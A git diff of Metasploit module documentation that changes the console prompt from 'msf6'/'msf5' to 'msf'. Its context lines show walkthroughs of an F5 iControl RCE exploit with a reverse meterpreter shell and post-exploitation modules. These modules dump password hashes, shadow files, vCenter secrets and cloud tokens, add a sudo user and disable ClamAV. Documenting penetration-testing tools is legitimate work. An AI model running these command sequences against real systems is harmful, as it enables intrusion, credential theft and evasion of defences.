cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set HttpPassword mybigtestpassword +msf exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set HttpPassword mybigtestpassword HttpPassword => iagotestbigip -msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set RHOST 10.0.0.162 +msf exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set RHOST 10.0.0.162 RHOST => 10.0.0.162 -msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set LHOST 10.0.0.179 +msf exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set LHOST 10.0.0.179 LHOST => 10.0.0.179 -msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > exploit +msf exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > exploit [*] Started reverse TCP handler on 10.0.0.179:4444 [*] Sending stage (40168 bytes) to 10.0.0.162 [+] Deleted /var/config/rest/node/tmp/708677fa-5b30-43e6-9ce3-d84046e9f6e9.spec @@ -66,12 +66,12 @@ meterpreter > bg Then just use the module, set the SESSION, and run it: ``` -msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > use post/linux/gather/f5_loot_mcp -msf6 post(linux/gather/f5_loot_mcp) > set SESSION 1 +msf exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > use post/linux/gather/f5_loot_mcp +msf post(linux/gather/f5_loot_mcp) > set SESSION 1 SESSION => 1 -msf6 post(linux/gather/f5_loot_mcp) > set VERBOSE true +msf post(linux/gather/f5_loot_mcp) > set VERBOSE true VERBOSE => true -msf6 post(linux/gather/f5_loot_mcp) > show options +msf post(linux/gather/f5_loot_mcp) > show options Module options (post/linux/gather/f5_loot_mcp): @@ -85,7 +85,7 @@ Module options (post/linux/gather/f5_loot_mcp): View the full module info with the info, or info -d command. -msf6 post(linux/gather/f5_loot_mcp) > run +msf post(linux/gather/f5_loot_mcp) > run [*] Gathering users and password hashes from MCP [+] admin:$6$Rvvp3001$4fGV5Pb2gf9rbiV78KCbdbGhfdwsFL0Kt1BR3IIytgb.2aXCpJG0xC2.JDzRvpAjTbIrvBt7YHi2j0mh.ww9i1 @@ -107,7 +107,7 @@ msf6 post(linux/gather/f5_loot_mcp) > run The module logs information to the Metasploit database (when connected): ``` -msf6 post(linux/gather/f5_loot_mcp) > creds +msf post(linux/gather/f5_loot_mcp) > creds Credentials =========== @@ -122,7 +122,7 @@ host origin service public private 192.168.159.128 192.168.159.119 25/tcp (smtp) alice secretpassword Password 192.168.159.200 192.168.159.119 49/tcp (tacacs+) tacaspassword Password -msf6 post(linux/gather/f5_loot_mcp) > services +msf post(linux/gather/f5_loot_mcp) > services Services ======== @@ -133,5 +133,5 @@ host port proto name state info 192.168.159.128 25 tcp smtp open 192.168.159.200 49 tcp tacacs+ open -msf6 post(linux/gather/f5_loot_mcp) > +msf post(linux/gather/f5_loot_mcp) > ``` diff --git a/documentation/modules/post/linux/gather/haserl_read.md b/documentation/modules/post/linux/gather/haserl_read.md index 256894ac29cd3..3c8f0ceee496f 100644 --- a/documentation/modules/post/linux/gather/haserl_read.md +++ b/documentation/modules/post/linux/gather/haserl_read.md @@ -38,8 +38,8 @@ Remote file to download, defaults to `/etc/shadow`. ## Scenarios ``` -msf6 > use post/linux/gather/haserl_read -msf6 post(linux/gather/haserl_read) > show options +msf > use post/linux/gather/haserl_read +msf post(linux/gather/haserl_read) > show options Module options (post/linux/gather/haserl_read): @@ -48,13 +48,13 @@ Module options (post/linux/gather/haserl_read): RFILE /etc/shadow yes File to read SESSION 1 yes The session to run this module on. -msf6 post(linux/gather/haserl_read) > run +msf post(linux/gather/haserl_read) > run [!] SESSION may not be compatible with this module. [+] Found set-uid haserl: /usr/bin/haserl-lua53 [+] Shadow saved in: /home/user/.msf4/loot/20210301204020_default_192.168.138.113_haserl_shadow_107368.txt [*] Post module execution completed -msf6 post(linux/gather/haserl_read) > +msf post(linux/gather/haserl_read) > ``` ## Reference diff --git a/documentation/modules/post/linux/gather/manageengine_password_manager_creds.md b/documentation/modules/post/linux/gather/manageengine_password_manager_creds.md index 028a327ab95bd..b877120423b36 100644 --- a/documentation/modules/post/linux/gather/manageengine_password_manager_creds.md +++ b/documentation/modules/post/linux/gather/manageengine_password_manager_creds.md @@ -107,7 +107,7 @@ The PostgreSQL port. Default is 2345. ### Meterpreter session on Ubuntu 20.04.4 - PMP version 12.1.0 (build 12123) ``` -msf6 post(linux/gather/manageengine_password_manager_creds) > run verbose=true session=1 +msf post(linux/gather/manageengine_password_manager_creds) > run verbose=true session=1 [*] Detecting installation path [*] Trying to detect path from the Password Manager service @@ -132,7 +132,7 @@ Password Manager Pro Credentials Resource2 https://mysql.foomsf.com web db password webdb 123webpassW0Rd@ [*] Post module execution completed -msf6 post(linux/gather/manageengine_password_manager_creds) > creds +msf post(linux/gather/manageengine_password_manager_creds) > creds Credentials =========== @@ -148,7 +148,7 @@ host origin service public private realm pri ### Shell session on Ubuntu 20.04.4 - PMP version 12.1.0 (build 12123) ``` -msf6 post(linux/gather/manageengine_password_manager_creds) > run verbose=true session=2 +msf post(linux/gather/manageengine_password_manager_creds) > run verbose=true session=2 [*] Detecting installation path [*] Trying to detect path from the Password Manager service @@ -171,7 +171,7 @@ Password Manager Pro Credentials Resource2 https://mysql.foomsf.com web db password webdb 123webpassW0Rd@ [*] Post module execution completed -msf6 post(linux/gather/manageengine_password_manager_creds) > creds +msf post(linux/gather/manageengine_password_manager_creds) > creds Credentials =========== diff --git a/documentation/modules/post/linux/gather/mimipenguin.md b/documentation/modules/post/linux/gather/mimipenguin.md index 15d0c4704ab59..64d9740f69c40 100644 --- a/documentation/modules/post/linux/gather/mimipenguin.md +++ b/documentation/modules/post/linux/gather/mimipenguin.md @@ -21,7 +21,7 @@ This currently searches for passwords in `gnome-keyring-daemon`, `gdm-password`, ### Ubuntu 22.04 x64 ``` -msf6 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.140.1:4444 [*] Sending stage (3020772 bytes) to 192.168.140.140 @@ -37,10 +37,10 @@ BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use post/linux/gather/mimipenguin -msf6 post(linux/gather/mimipenguin) > set session 1 +msf exploit(multi/handler) > use post/linux/gather/mimipenguin +msf post(linux/gather/mimipenguin) > set session 1 session => 1 -msf6 post(linux/gather/mimipenguin) > run +msf post(linux/gather/mimipenguin) > run [!] SESSION may not be compatible with this module: [!] * missing Meterpreter features: stdapi_railgun_api @@ -65,7 +65,7 @@ Credentials ### Ubuntu 21.04 x64 ``` -msf6 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.140.1:4444 [*] Sending stage (3020772 bytes) to 192.168.140.131 @@ -81,10 +81,10 @@ BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter > background [*] Backgrounding session 2... -msf6 exploit(multi/handler) > previous -msf6 post(linux/gather/mimipenguin) > set session 2 +msf exploit(multi/handler) > previous +msf post(linux/gather/mimipenguin) > set session 2 session => 2 -msf6 post(linux/gather/mimipenguin) > run +msf post(linux/gather/mimipenguin) > run [!] SESSION may not be compatible with this module: [!] * missing Meterpreter features: stdapi_railgun_api @@ -110,7 +110,7 @@ Credentials ### Fedora 27 x64 ``` -msf6 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.140.1:4444 [*] Sending stage (3020772 bytes) to 192.168.140.165 @@ -118,10 +118,10 @@ msf6 exploit(multi/handler) > run meterpreter > background [*] Backgrounding session 3... -msf6 exploit(multi/handler) > previous -msf6 post(linux/gather/mimipenguin) > set session 3 +msf exploit(multi/handler) > previous +msf post(linux/gather/mimipenguin) > set session 3 session => 3 -msf6 post(linux/gather/mimipenguin) > run +msf post(linux/gather/mimipenguin) > run [!] SESSION may not be compatible with this module: [!] * missing Meterpreter features: stdapi_railgun_api @@ -147,9 +147,9 @@ Credentials ### Ubuntu 14.04.1 x86 ``` -msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp +msf exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp -msf6 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.140.1:4444 [*] Sending stage (989032 bytes) to 192.168.140.135 @@ -165,10 +165,10 @@ BuildTuple : i486-linux-musl Meterpreter : x86/linux meterpreter > background [*] Backgrounding session 4... -msf6 exploit(multi/handler) > previous -msf6 post(linux/gather/mimipenguin) > set session 4 +msf exploit(multi/handler) > previous +msf post(linux/gather/mimipenguin) > set session 4 session => 4 -msf6 post(linux/gather/mimipenguin) > run +msf post(linux/gather/mimipenguin) > run [!] SESSION may not be compatible with this module: [!] * missing Meterpreter features: stdapi_railgun_api diff --git a/documentation/modules/post/linux/gather/phpmyadmin_credsteal.md b/documentation/modules/post/linux/gather/phpmyadmin_credsteal.md index ae077120c7bc7..a950d2d1ed6b4 100644 --- a/documentation/modules/post/linux/gather/phpmyadmin_credsteal.md +++ b/documentation/modules/post/linux/gather/phpmyadmin_credsteal.md @@ -15,12 +15,12 @@ This post module gathers PhpMyAdmin Creds from target Linux machine. ## Scenarios ``` -msf5 > use multi/handler -msf5 exploit(multi/handler) > set lhost 192.168.37.1 +msf > use multi/handler +msf exploit(multi/handler) > set lhost 192.168.37.1 lhost => 192.168.37.1 -msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp +msf exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp -msf5 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.37.1:4444 [*] Sending stage (816260 bytes) to 192.168.37.226 @@ -28,10 +28,10 @@ msf5 exploit(multi/handler) > run meterpreter > background [*] Backgrounding session 2... -msf5 exploit(multi/handler) > use post/linux/gather/phpmyadmin_credsteal -msf5 post(linux/gather/phpmyadmin_credsteal) > set session 2 +msf exploit(multi/handler) > use post/linux/gather/phpmyadmin_credsteal +msf post(linux/gather/phpmyadmin_credsteal) > set session 2 session => 2 -msf5 post(linux/gather/phpmyadmin_credsteal) > run +msf post(linux/gather/phpmyadmin_credsteal) > run PhpMyAdmin Creds Stealer! @@ -43,6 +43,6 @@ PhpMyAdmin Creds Stealer! [*] Storing credentials... [+] Config file located at /Users/space/.msf4/loot/20180907081056_default_192.168.37.226_phpmyadmin_conf_580315.txt [*] Post module execution completed -msf5 post(linux/gather/phpmyadmin_credsteal) > +msf post(linux/gather/phpmyadmin_credsteal) > ``` diff --git a/documentation/modules/post/linux/gather/rancher_audit_log_leak.md b/documentation/modules/post/linux/gather/rancher_audit_log_leak.md index 19b37875c05fd..926ece4274283 100644 --- a/documentation/modules/post/linux/gather/rancher_audit_log_leak.md +++ b/documentation/modules/post/linux/gather/rancher_audit_log_leak.md @@ -82,8 +82,8 @@ resource (rancher_logs.rb)> set session 1 session => 1 resource (rancher_logs.rb)> set verbose true verbose => true -msf6 post(linux/gather/rancher_audit_log_leak) > -msf6 post(linux/gather/rancher_audit_log_leak) > run +msf post(linux/gather/rancher_audit_log_leak) > +msf post(linux/gather/rancher_audit_log_leak) > run [+] Rancher log saved to: /root/.msf4/loot/20240313165133_default_172.17.0.2_rancher.api.log_616439.txt [+] Found X-Api-Auth-Header token-p6nzp:zcpscwmzbx2kvfdffl8lqlqv5564s98225zn5ds67rtnw5m4hcjlqs @@ -117,5 +117,5 @@ msf6 post(linux/gather/rancher_audit_log_leak) > run CFh1y8IM; path=/; expires=Wed, 13-Mar-24 15:44:09 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None [*] Post module execution completed -msf6 post(linux/gather/rancher_audit_log_leak) > +msf post(linux/gather/rancher_audit_log_leak) > ``` diff --git a/documentation/modules/post/linux/gather/vcenter_secrets_dump.md b/documentation/modules/post/linux/gather/vcenter_secrets_dump.md index 4cc3615d1557c..e75083aedd399 100644 --- a/documentation/modules/post/linux/gather/vcenter_secrets_dump.md +++ b/documentation/modules/post/linux/gather/vcenter_secrets_dump.md @@ -50,10 +50,10 @@ DATA-ENCIPHERMENT key extracted from VMAFD. Defaults to true. Example run from meterpreter session on vCenter appliance version 7.0 U3d ``` -msf6 exploit(multi/handler) > use post/linux/gather/vcenter_secrets_dump -msf6 post(linux/gather/vcenter_secrets_dump) > set session 1 +msf exploit(multi/handler) > use post/linux/gather/vcenter_secrets_dump +msf post(linux/gather/vcenter_secrets_dump) > set session 1 session => 1 -msf6 post(linux/gather/vcenter_secrets_dump) > dump +msf post(linux/gather/vcenter_secrets_dump) > dump [*] vSphere Hostname and IPv4: vcenterdelta.cesium137.io [192.168.100.70] [*] VMware VirtualCenter 7.0.3 build-19480866 @@ -141,16 +141,16 @@ msf6 post(linux/gather/vcenter_secrets_dump) > dump [*] Initial administrator account password found for vpx_customization_spec 'Good Win10 Template with Local': [+] Initial Admin PW: SamIAm! [*] Post module execution completed -msf6 post(linux/gather/vcenter_secrets_dump) > +msf post(linux/gather/vcenter_secrets_dump) > ``` Example run from meterpreter session on vCenter appliance version 6.0 U3j ``` -msf6 exploit(multi/handler) > use post/linux/gather/vcenter_secrets_dump -msf6 post(linux/gather/vcenter_secrets_dump) > set session 1 +msf exploit(multi/handler) > use post/linux/gather/vcenter_secrets_dump +msf post(linux/gather/vcenter_secrets_dump) > set session 1 session => 1 -msf6 post(linux/gather/vcenter_secrets_dump) > dump +msf post(linux/gather/vcenter_secrets_dump) > dump [*] vSphere Hostname and IPv4: vcenteralpha.cesium137.io [192.168.100.60] [*] VMware VirtualCenter 6.0.0 build-14510547 @@ -214,16 +214,16 @@ msf6 post(linux/gather/vcenter_secrets_dump) > dump [*] Searching for secrets in VM Guest Customization Specification XML ... [!] No vpx_customization_spec entries evident [*] Post module execution completed -msf6 post(linux/gather/vcenter_secrets_dump) > +msf post(linux/gather/vcenter_secrets_dump) > ``` Example run from meterpreter session on vCenter appliance version 6.5 U3q, configured with an external PSC ``` -msf6 exploit(multi/handler) > use post/linux/gather/vcenter_secrets_dump -msf6 post(linux/gather/vcenter_secrets_dump) > set session 1 +msf exploit(multi/handler) > use post/linux/gather/vcenter_secrets_dump +msf post(linux/gather/vcenter_secrets_dump) > set session 1 session => 1 -msf6 post(linux/gather/vcenter_secrets_dump) > dump +msf post(linux/gather/vcenter_secrets_dump) > dump [*] vSphere Hostname and IPv4: vctr01.cesium137.io [192.168.0.111] [*] VMware VirtualCenter 6.5.0 build-18499837 @@ -279,10 +279,10 @@ msf6 post(linux/gather/vcenter_secrets_dump) > dump Example run from meterpreter session on vCenter appliance version 6.7 build-18831049 ``` -msf6 exploit(multi/handler) > use post/linux/gather/vcenter_secrets_dump -msf6 post(linux/gather/vcenter_secrets_dump) > set session 1 +msf exploit(multi/handler) > use post/linux/gather/vcenter_secrets_dump +msf post(linux/gather/vcenter_secrets_dump) > set session 1 session => 1 -msf6 post(linux/gather/vcenter_secrets_dump) > run +msf post(linux/gather/vcenter_secrets_dump) > run [*] VMware VirtualCenter 6.7.0 build-18831049 [*] vCenter Appliance (Embedded) [*] Validating target @@ -349,4 +349,4 @@ WARNING: there is already a transaction in progress [+] .pgpass creds found: postgres, i23rYg+oPBQwpn!5 for /var/run/vpostgres:postgres [+] Saving the /root/.pgpass contents to /root/.msf4/loot/20221102165131_default_2.2.2.2_.pgpass_509065.txt [*] Post module execution completed -``` \ No newline at end of file +``` diff --git a/documentation/modules/post/linux/manage/adduser.md b/documentation/modules/post/linux/manage/adduser.md index 8781fec5f8c32..fda0cebd0df51 100644 --- a/documentation/modules/post/linux/manage/adduser.md +++ b/documentation/modules/post/linux/manage/adduser.md @@ -100,26 +100,26 @@ compatible with a given target. ## Scenarios ``` -msf6 > use post/linux/manage/adduser -msf6 post(linux/manage/adduser) > set session 6 +msf > use post/linux/manage/adduser +msf post(linux/manage/adduser) > set session 6 session => 6 -msf6 post(linux/manage/adduser) > set sudomethod GROUP +msf post(linux/manage/adduser) > set sudomethod GROUP sudomethod => GROUP -msf6 post(linux/manage/adduser) > set groups wheel docker wireshark +msf post(linux/manage/adduser) > set groups wheel docker wireshark groups => wheel docker wireshark -msf6 post(linux/manage/adduser) > set username metasploit +msf post(linux/manage/adduser) > set username metasploit username => metasploit -msf6 post(linux/manage/adduser) > set password abcd1234 +msf post(linux/manage/adduser) > set password abcd1234 password => abcd1234 -msf6 post(linux/manage/adduser) > set shell /bin/bash +msf post(linux/manage/adduser) > set shell /bin/bash shell => /bin/bash -msf6 post(linux/manage/adduser) > set home /home/metasploit +msf post(linux/manage/adduser) > set home /home/metasploit home => /home/metasploit -msf6 post(linux/manage/adduser) > set missinggroups CREATE +msf post(linux/manage/adduser) > set missinggroups CREATE missinggroups => CREATE -msf6 post(linux/manage/adduser) > set verbose true +msf post(linux/manage/adduser) > set verbose true verbose => true -msf6 post(linux/manage/adduser) > run +msf post(linux/manage/adduser) > run [-] Groups [docker] do not exist on system [*] Running on Debian 11.7 (Linux 5.10.0-23-amd64) @@ -130,7 +130,7 @@ msf6 post(linux/manage/adduser) > run [*] useradd --password $1$WDX5Sg4N$Hcfx4HSigx/KbvtSzhsXD/ --home-dir /home/metasploit --groups wheel,docker,wireshark,sudo --shell /bin/bash --no-log-init metasploit [*] [*] Post module execution completed -msf6 post(linux/manage/adduser) > run +msf post(linux/manage/adduser) > run [*] Running on Debian 11.7 (Linux 5.10.0-23-amd64) [*] Useradd exists. Using that diff --git a/documentation/modules/post/linux/manage/disable_clamav.md b/documentation/modules/post/linux/manage/disable_clamav.md index c468676c494ca..6bb0cb2e0fd99 100644 --- a/documentation/modules/post/linux/manage/disable_clamav.md +++ b/documentation/modules/post/linux/manage/disable_clamav.md @@ -14,7 +14,7 @@ However, no additional checks are required to trigger ClamAV's shutdown. ## Scenarios ``` -msf6 post(linux/manage/disable_clamav) > sessions +msf post(linux/manage/disable_clamav) > sessions Active sessions =============== @@ -23,7 +23,7 @@ Active sessions -- ---- ---- ----------- ---------- 4 meterpreter x86/linux dllcoolj @ 192.168.130.1 127.0.0.1:4444 -> 127.0.0.1:38360 (127.0.0.1) -msf6 post(linux/manage/disable_clamav) > show options +msf post(linux/manage/disable_clamav) > show options Module options (post/linux/manage/disable_clamav): @@ -35,20 +35,20 @@ Module options (post/linux/manage/disable_clamav): View the full module info with the info, or info -d command. -msf6 post(linux/manage/disable_clamav) > ps -ef | grep 'clamd' +msf post(linux/manage/disable_clamav) > ps -ef | grep 'clamd' [*] exec: ps -ef | grep 'clamd' clamav 132021 1 16 18:51 ? 00:00:09 clamd dllcoolj 132533 71177 0 18:52 pts/3 00:00:00 sh -c ps -ef | grep 'clamd' dllcoolj 132535 132533 0 18:52 pts/3 00:00:00 grep clamd -msf6 post(linux/manage/disable_clamav) > exploit -j +msf post(linux/manage/disable_clamav) > exploit -j [*] Post module running as background job 10. -msf6 post(linux/manage/disable_clamav) > +msf post(linux/manage/disable_clamav) > [*] Checking file path /run/clamav/clamd.ctl exists and is writable... [+] File does exist and is writable! [*] Shutting down ClamAV! -msf6 post(linux/manage/disable_clamav) > ps -ef | grep 'clamd' +msf post(linux/manage/disable_clamav) > ps -ef | grep 'clamd' [*] exec: ps -ef | grep 'clamd' dllcoolj 132927 132925 0 18:52 pts/3 00:00:00 grep clamd diff --git a/documentation/modules/post/linux/manage/geutebruck_post_exp.md b/documentation/modules/post/linux/manage/geutebruck_post_exp.md index 7aa9cc1c9c7c8..f1b3db29a091e 100644 --- a/documentation/modules/post/linux/manage/geutebruck_post_exp.md +++ b/documentation/modules/post/linux/manage/geutebruck_post_exp.md @@ -69,8 +69,8 @@ blogpost page at https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilit ## Scenarios ### Geutebruck 5.02024 G-Cam EFD-2250 running firmware version 1.12.0.27. ``` -msf6 > use post/linux/manage/geutebruck_post_exp -msf6 post(linux/manage/geutebruck_post_exp) > show options +msf > use post/linux/manage/geutebruck_post_exp +msf post(linux/manage/geutebruck_post_exp) > show options Module options (post/linux/manage/geutebruck_post_exp): @@ -87,7 +87,7 @@ Post action: FREEZE_CAMERA Freeze the camera and display the last image taken from the video stream -msf6 post(linux/manage/geutebruck_post_exp) > show actions +msf post(linux/manage/geutebruck_post_exp) > show actions Post actions: @@ -97,13 +97,13 @@ Post actions: FREEZE_CAMERA Freeze the camera and display the last image taken from the video stream RESUME_STREAM Resume the camera's video stream and display the current live feed -msf6 post(linux/manage/geutebruck_post_exp) > set IMAGE /var/randori.jpg +msf post(linux/manage/geutebruck_post_exp) > set IMAGE /var/randori.jpg IMAGE => /var/randori.jpg -msf6 post(linux/manage/geutebruck_post_exp) > set action CHANGE_IMAGE +msf post(linux/manage/geutebruck_post_exp) > set action CHANGE_IMAGE action => CHANGE_IMAGE -msf6 post(linux/manage/geutebruck_post_exp) > set session 1 +msf post(linux/manage/geutebruck_post_exp) > set session 1 session => 1 -msf6 post(linux/manage/geutebruck_post_exp) > run +msf post(linux/manage/geutebruck_post_exp) > run [!] SESSION may not be compatible with this module. [*] -- Starting action -- @@ -112,9 +112,9 @@ msf6 post(linux/manage/geutebruck_post_exp) > run [*] Using the new main.js... [*] Done! The stream should be replaced by your image! [*] Post module execution completed -msf6 post(linux/manage/geutebruck_post_exp) > set action FREEZE_CAMERA +msf post(linux/manage/geutebruck_post_exp) > set action FREEZE_CAMERA action => FREEZE_CAMERA -msf6 post(linux/manage/geutebruck_post_exp) > run +msf post(linux/manage/geutebruck_post_exp) > run [!] SESSION may not be compatible with this module. [*] -- Starting action -- @@ -124,9 +124,9 @@ msf6 post(linux/manage/geutebruck_post_exp) > run [*] Using the new main.js... [*] Stream frozen! [*] Post module execution completed -msf6 post(linux/manage/geutebruck_post_exp) > set action RESUME_STREAM +msf post(linux/manage/geutebruck_post_exp) > set action RESUME_STREAM action => RESUME_STREAM -msf6 post(linux/manage/geutebruck_post_exp) > run +msf post(linux/manage/geutebruck_post_exp) > run [!] SESSION may not be compatible with this module. [*] -- Starting action -- @@ -134,4 +134,4 @@ msf6 post(linux/manage/geutebruck_post_exp) > run [*] Restoring main.js backup... [*] Restored! Stream back to a normal state. [*] Post module execution completed -``` \ No newline at end of file +``` diff --git a/documentation/modules/post/multi/gather/azure_cli_creds.md b/documentation/modules/post/multi/gather/azure_cli_creds.md index 2a96507e659ef..f44f344e8ae75 100644 --- a/documentation/modules/post/multi/gather/azure_cli_creds.md +++ b/documentation/modules/post/multi/gather/azure_cli_creds.md @@ -44,7 +44,7 @@ Successfully tested on: ### 2.61.0 on Windows 10 ``` -msf6 post(multi/gather/azure_cli_creds) > rerun +msf post(multi/gather/azure_cli_creds) > rerun [*] Reloading module... [*] az cli version: 2.61.0 @@ -95,13 +95,13 @@ msf6 post(multi/gather/azure_cli_creds) > rerun oft.com [*] Post module execution completed -msf6 post(multi/gather/azure_cli_creds) > +msf post(multi/gather/azure_cli_creds) > ``` ### 2.35.0 on Docker ``` -msf6 post(multi/gather/azure_cli_creds) > run +msf post(multi/gather/azure_cli_creds) > run [!] SESSION may not be compatible with this module: [!] * missing Meterpreter features: stdapi_railgun_api, stdapi_railgun_api_multi, stdapi_railgun_memread, stdapi_railgun_memwrite, stdapi_registry_check_key_exists, stdapi_registry_create_key, stdapi_registry_delete_key, stdapi_registry_enum_key_direct, stdapi_registry_enum_value_direct, stdapi_registry_load_key, stdapi_registry_open_key, stdapi_registry_query_value_direct, stdapi_registry_set_value_direct, stdapi_registry_unload_key, stdapi_sys_config_getprivs diff --git a/documentation/modules/post/multi/gather/chrome_cookies.md b/documentation/modules/post/multi/gather/chrome_cookies.md index b64542af1eeb6..eff7469d0020f 100644 --- a/documentation/modules/post/multi/gather/chrome_cookies.md +++ b/documentation/modules/post/multi/gather/chrome_cookies.md @@ -77,7 +77,7 @@ msf post(multi/gather/chrome_cookies) > run [*] Removing file \Users\msfdev\AppData\Local\Temp\YaW8HKZdkk2s85D.html [*] Removing file \Users\msfdev\AppData\Local\Google\Chrome\User Data\chrome_debug.log [*] Post module execution completed -msf5 post(multi/gather/chrome_cookies) > +msf post(multi/gather/chrome_cookies) > ``` diff --git a/documentation/modules/post/multi/gather/enum_hexchat.md b/documentation/modules/post/multi/gather/enum_hexchat.md index 22de32e8977e4..6b97f36c9b60e 100644 --- a/documentation/modules/post/multi/gather/enum_hexchat.md +++ b/documentation/modules/post/multi/gather/enum_hexchat.md @@ -128,7 +128,7 @@ Gather the files from XCHat. Default `false`. xchat => true resource (xchat_win.rb)> set verbose true verbose => true - msf5 post(multi/gather/enum_hexchat) > rexploit + msf post(multi/gather/enum_hexchat) > rexploit [*] Reloading module... [!] SESSION may not be compatible with this module. diff --git a/documentation/modules/post/multi/gather/enum_software_versions.md b/documentation/modules/post/multi/gather/enum_software_versions.md index 84c9cb417106d..76b18d13f732a 100644 --- a/documentation/modules/post/multi/gather/enum_software_versions.md +++ b/documentation/modules/post/multi/gather/enum_software_versions.md @@ -25,8 +25,8 @@ is set to the value of the session the user wishes to run this module on. ### Windows Server 2019 Standard Edition x64 Running as a Low Privileged User ``` -msf6 exploit(multi/handler) > use post/multi/gather/enum_software_versions -msf6 post(multi/gather/enum_software_versions) > show options +msf exploit(multi/handler) > use post/multi/gather/enum_software_versions +msf post(multi/gather/enum_software_versions) > show options Module options (post/multi/gather/enum_software_versions): @@ -34,18 +34,18 @@ Module options (post/multi/gather/enum_software_versions): ---- --------------- -------- ----------- SESSION yes The session to run this module on. -msf6 post(multi/gather/enum_software_versions) > set SESSION 1 +msf post(multi/gather/enum_software_versions) > set SESSION 1 SESSION => 1 -msf6 post(multi/gather/enum_software_versions) > run +msf post(multi/gather/enum_software_versions) > run [+] Stored information about the installed products to the loot file at /home/gwillcox/.msf4/loot/20200915173649_default_172.27.37.216_host.windows.sof_930739.txt [*] Post module execution completed -msf6 post(multi/gather/enum_software_versions) > cat /home/gwillcox/.msf4/loot/20200915173649_default_172.27.37.216_host.windows.sof_930739.txt +msf post(multi/gather/enum_software_versions) > cat /home/gwillcox/.msf4/loot/20200915173649_default_172.27.37.216_host.windows.sof_930739.txt [*] exec: cat /home/gwillcox/.msf4/loot/20200915173649_default_172.27.37.216_host.windows.sof_930739.txt Description InstallDate Name Version Pragma TelnetServer 20200911 Pragma TelnetServer 7.0.10.1990 Google Update Helper 20200910 Google Update Helper 1.3.35.451 VanDyke Software SecureCRT 8.7 20200911 VanDyke Software SecureCRT 8.7 8.7.3 -msf6 post(multi/gather/enum_software_versions) > -``` \ No newline at end of file +msf post(multi/gather/enum_software_versions) > +``` diff --git a/documentation/modules/post/multi/gather/env.md b/documentation/modules/post/multi/gather/env.md index 23026527facaf..98d5cffa6e56c 100644 --- a/documentation/modules/post/multi/gather/env.md +++ b/documentation/modules/post/multi/gather/env.md @@ -17,10 +17,10 @@ This module prints out the operating system environment variables. ### Windows 11 Pro (10.0.22000 N/A Build 22000) ``` -msf6 > use post/multi/gather/env -msf6 post(multi/gather/env) > set session 1 +msf > use post/multi/gather/env +msf post(multi/gather/env) > set session 1 session => 1 -msf6 post(multi/gather/env) > run +msf post(multi/gather/env) > run [*] Running module against WinDev2110Eval (192.168.200.140) ALLUSERSPROFILE=C:\ProgramData diff --git a/documentation/modules/post/multi/gather/fetchmailrc_creds.md b/documentation/modules/post/multi/gather/fetchmailrc_creds.md index 889773edf6039..58b9a90fb9612 100644 --- a/documentation/modules/post/multi/gather/fetchmailrc_creds.md +++ b/documentation/modules/post/multi/gather/fetchmailrc_creds.md @@ -31,7 +31,7 @@ echo "poll example.com protocol pop3 username \"joesoap\" password \"XXX\"" > ~/ ### Ubuntu 22.04.01 ``` -msf6 auxiliary(scanner/ssh/ssh_login) > sessions -l +msf auxiliary(scanner/ssh/ssh_login) > sessions -l Active sessions =============== @@ -40,10 +40,10 @@ Active sessions -- ---- ---- ----------- ---------- 1 shell linux SSH ubuntu @ 2.2.2.2:39857 -> 1.1.1.1:22 (1.1.1.1) -msf6 auxiliary(scanner/ssh/ssh_login) > use post/multi/gather/fetchmailrc_creds -msf6 post(multi/gather/fetchmailrc_creds) > set session 1 +msf auxiliary(scanner/ssh/ssh_login) > use post/multi/gather/fetchmailrc_creds +msf post(multi/gather/fetchmailrc_creds) > set session 1 session => 1 -msf6 post(multi/gather/fetchmailrc_creds) > run +msf post(multi/gather/fetchmailrc_creds) > run [*] Parsing /home/ubuntu/.fetchmailrc diff --git a/documentation/modules/post/multi/gather/grub_creds.md b/documentation/modules/post/multi/gather/grub_creds.md index d3eeea214b12d..f63fe7b757b8b 100644 --- a/documentation/modules/post/multi/gather/grub_creds.md +++ b/documentation/modules/post/multi/gather/grub_creds.md @@ -59,8 +59,8 @@ action. Typical run against Ubuntu 18.04 LTS ``` -msf5 exploit(handler) > use post/multi/gather/grub_creds -msf5 post(grub_creds) > set SESSION 1 +msf exploit(handler) > use post/multi/gather/grub_creds +msf post(grub_creds) > set SESSION 1 SESSION => 1 msf post(grub_creds) > run diff --git a/documentation/modules/post/multi/gather/memory_search.md b/documentation/modules/post/multi/gather/memory_search.md index f3484c3d9fdb3..da4d88ccda1ac 100644 --- a/documentation/modules/post/multi/gather/memory_search.md +++ b/documentation/modules/post/multi/gather/memory_search.md @@ -51,7 +51,7 @@ Save the memory matches to loot. (default: `true`) In this scenario, the Windows target is connected to a different host using `ssh.exe` using the password `myverysecretpassword`: ``` -msf6 post(multi/gather/memory_search) > sessions +msf post(multi/gather/memory_search) > sessions Active sessions =============== 